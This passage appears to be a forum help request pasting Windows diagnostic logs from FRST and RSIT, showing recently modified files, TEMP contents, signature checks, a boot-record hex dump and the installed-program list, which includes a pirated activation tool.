2015-01-21 03:02 - 2015-01-21 03:02 - 00284680 _____ () C:\Windows\Minidump\012115-27081-01.dmp

==================== One Month Modified Files and Folders =======

(If an entry is included in the fixlist, the file\folder will be moved.)

2015-02-20 00:13 - 2015-01-10 21:41 - 00000914 _____ () C:\Windows\Tasks\Adobe Flash Player Updater.job
2015-02-20 00:01 - 2015-01-10 21:19 - 00003950 _____ () C:\Windows\System32\Tasks\User_Feed_Synchronization-{B1FB73CC-0FAB-48D8-BC91-C98C1B8A7FA5}
2015-02-19 23:59 - 2015-01-10 22:00 - 00000000 ____D () C:\ProgramData\Oracle
2015-02-19 23:59 - 2015-01-10 22:00 - 00000000 ____D () C:\Program Files (x86)\Java
2015-02-19 23:58 - 2015-01-10 22:00 - 00098216 _____ (Oracle Corporation) C:\Windows\SysWOW64\WindowsAccessBridge-32.dll
2015-02-19 23:57 - 2009-07-14 05:45 - 00021280 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
2015-02-19 23:57 - 2009-07-14 05:45 - 00021280 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
2015-02-19 23:55 - 2015-01-10 21:13 - 01092488 _____ () C:\Windows\WindowsUpdate.log
2015-02-19 23:53 - 2015-01-10 21:37 - 00000479 _____ () C:\Users\Win7\rgut
2015-02-19 23:51 - 2009-07-14 06:08 - 00000006 ____H () C:\Windows\Tasks\SA.DAT
2015-02-19 23:51 - 2009-07-14 05:51 - 00034720 _____ () C:\Windows\setupact.log
2015-02-18 11:32 - 2009-07-14 04:20 - 00000000 ____D () C:\Windows\tracing
2015-02-18 03:13 - 2015-01-10 22:16 - 00000000 ___RD () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office 2013
2015-02-18 03:12 - 2015-01-10 22:11 - 00000000 ____D () C:\ProgramData\Microsoft Help
2015-02-18 03:01 - 2015-01-11 21:29 - 519938246 _____ () C:\Windows\MEMORY.DMP
2015-02-18 03:01 - 2015-01-11 21:29 - 00000000 ____D () C:\Windows\Minidump
2015-02-17 09:27 - 2009-07-14 04:20 - 00000000 ____D () C:\Windows\rescache
2015-02-17 03:17 - 2015-01-11 02:07 - 00000000 ____D () C:\Windows\system32\MRT
2015-02-17 03:11 - 2015-01-11 02:07 - 116773704 _____ (Microsoft Corporation) C:\Windows\system32\MRT.exe
2015-02-14 10:36 - 2009-07-14 05:45 - 00438216 _____ () C:\Windows\system32\FNTCACHE.DAT
2015-02-14 10:34 - 2010-11-21 04:47 - 02010002 _____ () C:\Windows\PFRO.log
2015-02-14 10:32 - 2015-01-11 18:07 - 00000000 ___SD () C:\Windows\system32\CompatTel
2015-02-14 10:32 - 2015-01-11 18:07 - 00000000 ____D () C:\Windows\system32\appraiser
2015-02-14 10:32 - 2009-07-14 04:20 - 00000000 ____D () C:\Windows\SysWOW64\uk-UA
2015-02-14 10:32 - 2009-07-14 04:20 - 00000000 ____D () C:\Windows\SysWOW64\th-TH
2015-02-14 10:32 - 2009-07-14 04:20 - 00000000 ____D () C:\Windows\SysWOW64\sl-SI
2015-02-14 10:32 - 2009-07-14 04:20 - 00000000 ____D () C:\Windows\SysWOW64\sk-SK
2015-02-14 10:32 - 2009-07-14 04:20 - 00000000 ____D () C:\Windows\SysWOW64\lv-LV
2015-02-14 10:32 - 2009-07-14 04:20 - 00000000 ____D () C:\Windows\SysWOW64\he-IL
2015-02-14 10:32 - 2009-07-14 04:20 - 00000000 ____D () C:\Windows\SysWOW64\ar-SA
2015-02-14 10:32 - 2009-07-14 04:20 - 00000000 ____D () C:\Windows\system32\uk-UA
2015-02-14 10:32 - 2009-07-14 04:20 - 00000000 ____D () C:\Windows\system32\th-TH
2015-02-14 10:32 - 2009-07-14 04:20 - 00000000 ____D () C:\Windows\system32\sl-SI
2015-02-14 10:32 - 2009-07-14 04:20 - 00000000 ____D () C:\Windows\system32\sk-SK
2015-02-14 10:32 - 2009-07-14 04:20 - 00000000 ____D () C:\Windows\system32\lv-LV
2015-02-14 10:32 - 2009-07-14 04:20 - 00000000 ____D () C:\Windows\system32\he-IL
2015-02-14 10:32 - 2009-07-14 04:20 - 00000000 ____D () C:\Windows\system32\ar-SA
2015-02-14 10:32 - 2009-07-14 04:20 - 00000000 ____D () C:\Windows\PolicyDefinitions
2015-02-14 10:02 - 2009-07-14 03:34 - 00000478 _____ () C:\Windows\win.ini
2015-02-14 09:30 - 2009-07-14 04:20 - 00000000 ____D () C:\Program Files\Common Files\Microsoft Shared
2015-02-14 09:29 - 2015-01-10 21:38 - 00002117 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Security Essentials.lnk
2015-02-14 09:29 - 2015-01-10 21:38 - 00001945 _____ () C:\Windows\epplauncher.mif
2015-02-14 09:29 - 2015-01-10 21:38 - 00000000 ____D () C:\Program Files\Microsoft Security Client
2015-02-14 09:29 - 2015-01-10 21:38 - 00000000 ____D () C:\Program Files (x86)\Microsoft Security Client
2015-02-09 16:13 - 2015-01-10 21:41 - 00701616 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerApp.exe
2015-02-09 16:13 - 2015-01-10 21:41 - 00071344 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerCPLApp.cpl
2015-02-09 16:13 - 2015-01-10 21:41 - 00003852 _____ () C:\Windows\System32\Tasks\Adobe Flash Player Updater
2015-01-28 18:08 - 2015-01-15 12:18 - 00000000 ____D () C:\Program Files (x86)\Mozilla Firefox
2015-01-21 08:20 - 2009-07-14 06:08 - 00022770 _____ () C:\Windows\Tasks\SCHEDLGU.TXT

Some content of TEMP:
====================
C:\Users\Win7\AppData\Local\Temp\Download.exe
C:\Users\Win7\AppData\Local\Temp\epson tm p2.01 driver windows 7 download__10924_i1446218543_il246180.exe
C:\Users\Win7\AppData\Local\Temp\jre-8u31-windows-au.exe
C:\Users\Win7\AppData\Local\Temp\setup.exe


==================== Bamital & volsnap Check =================

(There is no automatic fix for files that do not pass verification.)

C:\Windows\System32\winlogon.exe => File is digitally signed
C:\Windows\System32\wininit.exe => File is digitally signed
C:\Windows\SysWOW64\wininit.exe => File is digitally signed
C:\Windows\explorer.exe => File is digitally signed
C:\Windows\SysWOW64\explorer.exe => File is digitally signed
C:\Windows\System32\svchost.exe => File is digitally signed
C:\Windows\SysWOW64\svchost.exe => File is digitally signed
C:\Windows\System32\services.exe => File is digitally signed
C:\Windows\System32\User32.dll => File is digitally signed
C:\Windows\SysWOW64\User32.dll => File is digitally signed
C:\Windows\System32\userinit.exe => File is digitally signed
C:\Windows\SysWOW64\userinit.exe => File is digitally signed
C:\Windows\System32\rpcss.dll => File is digitally signed
C:\Windows\System32\Drivers\volsnap.sys => File is digitally signed


LastRegBack: 2015-02-13 10:09

==================== End Of Log ============================


Tady je log z RSIT:

info.txt logfile of random's system information tool 1.10 2015-02-20 00:35:17

======MBR======

0x33C08ED0BC007C8EC08ED8BE007CBF0006B90002FCF3A450681C06CBFBB90400BDBE07807E00007C0B0F850E0183C510E2F1CD1888560055C6461105C6461000B441BBAA55CD135D720F81FB55AA7509F7C101007403FE46106660807E1000742666680000000066FF760868000068007C680100681000B4428A56008BF4CD139F83C4109EEB14B80102BB007C8A56008A76018A4E028A6E03CD136661731CFE4E11750C807E00800F848A00B280EB845532E48A5600CD135DEB9E813EFE7D55AA756EFF7600E88D007517FAB0D1E664E88300B0DFE660E87C00B0FFE664E87500FBB800BBCD1A6623C0753B6681FB54435041753281F90201722C666807BB00006668000200006668080000006653665366556668000000006668007C0000666168000007CD1A5A32F6EA007C0000CD18A0B707EB08A0B607EB03A0B50732E40500078BF0AC3C007409BB0700B40ECD10EBF2F4EBFD2BC9E464EB002402E0F82402C3496E76616C696420706172746974696F6E207461626C65004572726F72206C6F6164696E67206F7065726174696E672073797374656D004D697373696E67206F7065726174696E672073797374656D000000637B9A0382E85F00008020210007DF130C000800000020030000DF140C07FEFFFF0028030000B83F25000000000000000000000000000000000000000000000000000000000000000055AA

======Uninstall list======

Adobe Flash Player 16 ActiveX-->C:\Windows\SysWOW64\Macromed\Flash\FlashUtil32_16_0_0_305_ActiveX.exe -maintain activex
Adobe Flash Player 16 NPAPI-->C:\Windows\SysWOW64\Macromed\Flash\FlashUtil32_16_0_0_305_Plugin.exe -maintain plugin
Adobe Reader XI (11.0.10) - Czech-->MsiExec.exe /I{AC76BA86-7AD7-1029-7B44-AB0000000001}
Adobe Shockwave Player 12.1-->"C:\Windows\SysWOW64\Adobe\Shockwave 12\uninstaller.exe"
Balíček ovladače systému Windows - Intel (NETwNs64) net (11/29/2011 15.0.0.75)-->C:\PROGRA~1\DIFX\F4092DA208C2C970\Setup64.exe /u C:\Windows\System32\DriverStore\FileRepository\netwns64.inf_amd64_neutral_2cdd8e36a679560e\netwns64.inf
Balíček ovladače systému Windows - Intel Corporation (igfx) Display (03/20/2014 9.17.10.3517)-->C:\PROGRA~1\DIFX\F4092DA208C2C970\Setup64.exe /u C:\Windows\System32\DriverStore\FileRepository\kit59766.inf_amd64_neutral_4209d646ba025e44\kit59766.inf
Balíček ovladače systému Windows - Intel System (01/02/2014 1.2.3.2005)-->C:\PROGRA~1\DIFX\F4092DA208C2C970\Setup64.exe /u C:\Windows\System32\DriverStore\FileRepository\cougheci.inf_amd64_neutral_c5f573442bb7332c\cougheci.inf
Balíček ovladače systému Windows - Intel(R) Corporation (IntcDAud) MEDIA (08/23/2011 6.14.00.3086)-->C:\PROGRA~1\DIFX\F4092DA208C2C970\Setup64.exe /u C:\Windows\System32\DriverStore\FileRepository\intcdaud.inf_amd64_neutral_86609ac16bf50a8c\intcdaud.inf
Balíček ovladače systému Windows - Renesas Electronics (nusb3hub) USB (08/21/2012 2.1.39.0)-->C:\PROGRA~1\DIFX\F4092DA208C2C970\Setup64.exe /u C:\Windows\System32\DriverStore\FileRepository\nusb3hub.inf_amd64_neutral_90283481de9a53e7\nusb3hub.inf
Balíček ovladače systému Windows - Renesas Electronics (nusb3xhc) USB (08/21/2012 2.1.39.0)-->C:\PROGRA~1\DIFX\F4092DA208C2C970\Setup64.exe /u C:\Windows\System32\DriverStore\FileRepository\nusb3xhc.inf_amd64_neutral_05aafa8adb92301d\nusb3xhc.inf
Balíček ovladače systému Windows - Synaptics (SmbDrv) System (07/30/2013 16.3.12.43)-->C:\PROGRA~1\DIFX\F4092DA208C2C970\Setup64.exe /u C:\Windows\System32\DriverStore\FileRepository\smbdrv.inf_amd64_neutral_d8371ae4d7b6043e\smbdrv.inf
Crack windows 7 ultimate product key.rar version for Windows-->"C:\Program Files (x86)\Crack windows 7 ultimate product key.rar\unins000.exe"
Definition Update for Microsoft Office 2013 (KB2920752) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{2D3832FB-E454-4A2F-A214-DB9FAA613489}" "1033" "0"
EPSON Advanced Printer Driver 4-->"C:\Program Files (x86)\InstallShield Installation Information\{11FF6AF6-0141-4EF8-829A-989459A1E5D8}\Setup.exe" -runfromtemp -l0x0009 -removeonly
EPSON APD4 Point and Print Support-->MsiExec.exe /X{4BB82AD9-0CF6-4E14-BD75-C1AB657C2914}
EPSON Port Communication Service-->MsiExec.exe /X{CA5BA3A3-E944-4FAD-A943-B020425F496B}
Google Chrome-->"C:\Program Files (x86)\Google\Chrome\Application\40.0.2214.93\Installer\setup.exe" --uninstall --multi-install --chrome --system-level --verbose-logging
Google Update Helper-->MsiExec.exe /I{A92DAB39-4E2C-4304-9AB6-BC44E68B55E2}
HP Support Solutions Framework-->MsiExec.exe /I{E35601C0-BA8E-4F32-919A-C7EF4CA81F67}
InstPortMon-->MsiExec.exe /I{CCC2D881-2262-4DE1-BC15-32E4727F1259}
Intel(R) Processor Graphics-->C:\Program Files (x86)\Intel\Intel(R) Processor Graphics\Uninstall\setup.exe -uninstall
Java 8 Update 31-->MsiExec.exe /I{26A24AE4-039D-4CA4-87B4-2F83218031F0}
K-Lite Mega Codec Pack 10.8.5-->"C:\Program Files (x86)\K-Lite Codec Pack\unins000.exe"
KMSpico v9.0.5.20131112-->"C:\Program Files\KMSpico\unins000.exe"
Microsoft .NET Framework 4.5.1 (CSY)-->MsiExec.exe /X{50813B8C-FCBB-3C61-8039-EAAA93029066}
Microsoft .NET Framework 4.5.1 (čeština)-->C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SetupCache\v4.5.50938\CSY\\Setup.exe /repair /x86 /x64 /lcid 1029
Microsoft .NET Framework 4.5.1-->C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SetupCache\v4.5.50938\\Setup.exe /repair /x86 /x64
Microsoft .NET Framework 4.5.1-->MsiExec.exe /X{7DEBE4EB-6B40-3766-BB35-5CBBC385DA37}
Microsoft Access MUI (Czech) 2013-->MsiExec.exe /X{90150000-0015-0405-0000-0000000FF1CE}
Microsoft Access MUI (English) 2013-->MsiExec.exe /X{90150000-0015-0409-0000-0000000FF1CE}
Microsoft Access Setup Metadata MUI (English) 2013-->MsiExec.exe /X{90150000-0117-0409-0000-0000000FF1CE}
Microsoft DCF MUI (Czech) 2013-->MsiExec.exe /X{90150000-0090-0405-0000-0000000FF1CE}
Microsoft DCF MUI (English) 2013-->MsiExec.exe /X{90150000-0090-0409-0000-0000000FF1CE}
Microsoft Excel MUI (Czech) 2013-->MsiExec.exe /X{90150000-0016-0405-0000-0000000FF1CE}
Microsoft Excel MUI (English) 2013-->MsiExec.exe /X{90150000-0016-0409-0000-0000000FF1CE}
Microsoft Groove MUI (Czech) 2013-->MsiExec.exe /X{90150000-00BA-0405-0000-0000000FF1CE}
Microsoft Groove MUI (English) 2013-->MsiExec.exe /X{90150000-00BA-0409-0000-0000000FF1CE}
Microsoft InfoPath MUI (Czech) 2013-->MsiExec.exe /X{90150000-0044-0405-0000-0000000FF1CE}
Microsoft InfoPath MUI (English) 2013-->MsiExec.exe /X{90150000-0044-0409-0000-0000000FF1CE}
Microsoft Lync MUI (Czech) 2013-->MsiExec.exe /X{90150000-012B-0405-0000-0000000FF1CE}
Microsoft Lync MUI (English) 2013-->MsiExec.exe /X{90150000-012B-0409-0000-0000000FF1CE}
Microsoft Office 64-bit Components 2013-->MsiExec.exe /X{90150000-002A-0000-1000-0000000FF1CE}
Microsoft Office Korrekturhilfen 2013 - Deutsch-->MsiExec.exe /X{90150000-001F-0407-0000-0000000FF1CE}
Microsoft Office Language Pack 2013 - Czech/čeština-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Office Setup Controller\setup.exe" /uninstall OMUI.CS-CZ /dll OSETUP.DLL
Microsoft Office O MUI (Czech) 2013-->MsiExec.exe /X{90150000-0100-0405-0000-0000000FF1CE}
Microsoft Office OSM MUI (Czech) 2013-->MsiExec.exe /X{90150000-00E1-0405-0000-0000000FF1CE}
Microsoft Office OSM MUI (English) 2013-->MsiExec.exe /X{90150000-00E1-0409-0000-0000000FF1CE}
Microsoft Office OSM UX MUI (Czech) 2013-->MsiExec.exe /X{90150000-00E2-0405-0000-0000000FF1CE}
Microsoft Office OSM UX MUI (English) 2013-->MsiExec.exe /X{90150000-00E2-0409-0000-0000000FF1CE}
Microsoft Office Professional Plus 2013-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Office Setup Controller\setup.exe" /uninstall PROPLUS /dll OSETUP.DLL
Microsoft Office Professional Plus 2013-->MsiExec.exe /X{90150000-0011-0000-0000-0000000FF1CE}
Microsoft Office Proofing (Czech) 2013-->MsiExec.exe /X{90150000-002C-0405-0000-0000000FF1CE}
Microsoft Office Proofing (English) 2013-->MsiExec.exe /X{90150000-002C-0409-0000-0000000FF1CE}
Microsoft Office Proofing Tools 2013 - English-->MsiExec.exe /X{90150000-001F-0409-0000-0000000FF1CE}
Microsoft Office Proofing Tools 2013 - Español-->MsiExec.exe /X{90150000-001F-0C0A-0000-0000000FF1CE}
Microsoft Office Shared 64-bit MUI (Czech) 2013-->MsiExec.exe /X{90150000-002A-0405-1000-0000000FF1CE}
Microsoft Office Shared 64-bit MUI (English) 2013-->MsiExec.exe /X{90150000-002A-0409-1000-0000000FF1CE}
Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2013-->MsiExec.exe /X{90150000-0116-0409-1000-0000000FF1CE}
Microsoft Office Shared MUI (Czech) 2013-->MsiExec.exe /X{90150000-006E-0405-0000-0000000FF1CE}
Microsoft Office Shared MUI (English) 2013-->MsiExec.exe /X{90150000-006E-0409-0000-0000000FF1CE}
Microsoft Office Shared Setup Metadata MUI (English) 2013-->MsiExec.exe /X{90150000-0115-0409-0000-0000000FF1CE}
Microsoft OneNote MUI (Czech) 2013-->MsiExec.exe /X{90150000-00A1-0405-0000-0000000FF1CE}
Microsoft OneNote MUI (English) 2013-->MsiExec.exe /X{90150000-00A1-0409-0000-0000000FF1CE}
Microsoft Outlook MUI (Czech) 2013-->MsiExec.exe /X{90150000-001A-0405-0000-0000000FF1CE}
Microsoft Outlook MUI (English) 2013-->MsiExec.exe /X{90150000-001A-0409-0000-0000000FF1CE}
Microsoft PowerPoint MUI (Czech) 2013-->MsiExec.exe /X{90150000-0018-0405-0000-0000000FF1CE}
Microsoft PowerPoint MUI (English) 2013-->MsiExec.exe /X{90150000-0018-0409-0000-0000000FF1CE}
Microsoft Publisher MUI (Czech) 2013-->MsiExec.exe /X{90150000-0019-0405-0000-0000000FF1CE}
Microsoft Publisher MUI (English) 2013-->MsiExec.exe /X{90150000-0019-0409-0000-0000000FF1CE}
Microsoft Security Client-->MsiExec.exe /X{996D32B6-F629-4764-894B-CB24D9C19051}
Microsoft Security Essentials-->"C:\Program Files\Microsoft Security Client\Setup.exe" /x
Microsoft SharePoint Designer MUI (Czech) 2013-->MsiExec.exe /X{90150000-0017-0405-0000-0000000FF1CE}
Microsoft Silverlight-->MsiExec.exe /X{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}
Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219-->MsiExec.exe /X{1D8E6291-B0D5-35EC-8441-6616F567A0F7}
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219-->MsiExec.exe /X{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}
Microsoft Visual Studio 2010 Tools for Office Runtime (x64)-->c:\Program Files\Common Files\Microsoft Shared\VSTO\10.0\Microsoft Visual Studio 2010 Tools for Office Runtime (x64)\install.exe
Microsoft Visual Studio 2010 Tools for Office Runtime (x64)-->MsiExec.exe /X{9495AEB4-AB97-39DE-8C42-806EEF75ECA7}
Microsoft Word MUI (Czech) 2013-->MsiExec.exe /X{90150000-001B-0405-0000-0000000FF1CE}
Microsoft Word MUI (English) 2013-->MsiExec.exe /X{90150000-001B-0409-0000-0000000FF1CE}
Microsoft X MUI (Czech) 2013-->MsiExec.exe /X{90150000-0101-0405-0000-0000000FF1CE}
MSXML 4.0 SP2 (KB954430)-->MsiExec.exe /I{86493ADD-824D-4B8E-BD72-8C5DCDC52A71}
MSXML 4.0 SP2 (KB973688)-->MsiExec.exe /I{F662A8E6-F4DC-41A2-901E-8C11F044BDEC}
Nástroje kontroly pravopisu pro Microsoft Office 2013 – čeština-->MsiExec.exe /X{90150000-001F-0405-0000-0000000FF1CE}
Nástroje korektúry balíka Microsoft Office 2013 - slovenčina-->MsiExec.exe /X{90150000-001F-041B-0000-0000000FF1CE}
Outils de vérification linguistique 2013 de Microsoft Office - Français-->MsiExec.exe /X{90150000-001F-040C-0000-0000000FF1CE}
Realtek Ethernet Controller Driver-->C:\Program Files (x86)\InstallShield Installation Information\{8833FFB6-5B0C-4764-81AA-06DFEED9A476}\setup.exe -runfromtemp -removeonly
Security Update for Microsoft .NET Framework 4.5.1 (KB2898869)-->C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SetupCache\v4.5.50938\setup.exe /uninstallpatch {BD0F9F7E-62B2-3971-9E2E-B87B832CE89D}
Security Update for Microsoft .NET Framework 4.5.1 (KB2972107)-->C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SetupCache\v4.5.50938\setup.exe /uninstallpatch {59923C0F-51CB-3F2C-8465-E69019472533}
Security Update for Microsoft Excel 2013 (KB2920753) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{3AC9F6D0-A7A4-4998-B972-0976C6081946}" "1033" "0"
Security Update for Microsoft Excel 2013 (KB2920753) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0016-0405-0000-0000000FF1CE}" "{3AC9F6D0-A7A4-4998-B972-0976C6081946}" "1029" "0"
Security Update for Microsoft Excel 2013 (KB2920753) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0016-0409-0000-0000000FF1CE}" "{3AC9F6D0-A7A4-4998-B972-0976C6081946}" "1033" "0"
Security Update for Microsoft Excel 2013 (KB2920753) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0018-0405-0000-0000000FF1CE}" "{3AC9F6D0-A7A4-4998-B972-0976C6081946}" "1029" "0"
Security Update for Microsoft Excel 2013 (KB2920753) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0018-0409-0000-0000000FF1CE}" "{3AC9F6D0-A7A4-4998-B972-0976C6081946}" "1033" "0"
Security Update for Microsoft Excel 2013 (KB2920753) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-001B-0405-0000-0000000FF1CE}" "{3AC9F6D0-A7A4-4998-B972-0976C6081946}" "1029" "0"
Security Update for Microsoft Excel 2013 (KB2920753) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-001B-0409-0000-0000000FF1CE}" "{3AC9F6D0-A7A4-4998-B972-0976C6081946}" "1033" "0"
Security Update for Microsoft Office 2013 (KB2726958) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{DFA3708C-C837-42C3-85AF-41E39CD1E0E9}" "1033" "0"
Security Update for Microsoft Office 2013 (KB2880502) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{90E7A66B-723D-4790-824A-6E4EEC0C2CBA}" "1033" "0"
Security Update for Microsoft Office 2013 (KB2910941) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{E0434175-7133-45D2-B53A-78700C2F8BC4}" "1033" "0"
Security Update for Microsoft SharePoint Designer 2013 (KB2752096) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0017-0405-0000-0000000FF1CE}" "{B8F63C4C-4BF2-47EA-8C00-BB83C4D0FA26}" "1029" "0"
Security Update for Microsoft SharePoint Designer 2013 (KB2863836) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0017-0405-0000-0000000FF1CE}" "{7783C0FE-91D3-44A5-ABB6-2A5CBDACDA0D}" "1029" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{7F6C4883-A18C-459A-82C1-A2F9403F2DA6}" "1033" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0015-0405-0000-0000000FF1CE}" "{78A9943A-5DB1-4B90-8AEF-5CE30456FB6E}" "1029" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0015-0409-0000-0000000FF1CE}" "{D0389590-F29B-4C3D-8CC1-E10BD7581DA4}" "1033" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0016-0405-0000-0000000FF1CE}" "{78A9943A-5DB1-4B90-8AEF-5CE30456FB6E}" "1029" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0016-0409-0000-0000000FF1CE}" "{D0389590-F29B-4C3D-8CC1-E10BD7581DA4}" "1033" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0017-0405-0000-0000000FF1CE}" "{32C729F4-B6A0-41C9-A257-BDFA632FBED0}" "1029" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0018-0405-0000-0000000FF1CE}" "{78A9943A-5DB1-4B90-8AEF-5CE30456FB6E}" "1029" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0018-0409-0000-0000000FF1CE}" "{D0389590-F29B-4C3D-8CC1-E10BD7581DA4}" "1033" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0019-0405-0000-0000000FF1CE}" "{78A9943A-5DB1-4B90-8AEF-5CE30456FB6E}" "1029" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0019-0409-0000-0000000FF1CE}" "{D0389590-F29B-4C3D-8CC1-E10BD7581DA4}" "1033" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-001A-0405-0000-0000000FF1CE}" "{78A9943A-5DB1-4B90-8AEF-5CE30456FB6E}" "1029" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-001A-0409-0000-0000000FF1CE}" "{D0389590-F29B-4C3D-8CC1-E10BD7581DA4}" "1033" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-001B-0405-0000-0000000FF1CE}" "{78A9943A-5DB1-4B90-8AEF-5CE30456FB6E}" "1029" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-001B-0409-0000-0000000FF1CE}" "{D0389590-F29B-4C3D-8CC1-E10BD7581DA4}" "1033" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-001F-0405-0000-0000000FF1CE}" "{0A504FDF-F8F7-4792-9360-1F45E38F005D}" "1029" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-001F-0407-0000-0000000FF1CE}" "{55A588B8-2D30-4B60-AB09-5DB57C592B81}" "1029" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-001F-0409-0000-0000000FF1CE}" "{1F79A96A-2A70-45B3-8A5C-79DA61952879}" "1029" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-001F-0409-0000-0000000FF1CE}" "{1F79A96A-2A70-45B3-8A5C-79DA61952879}" "1033" "0"
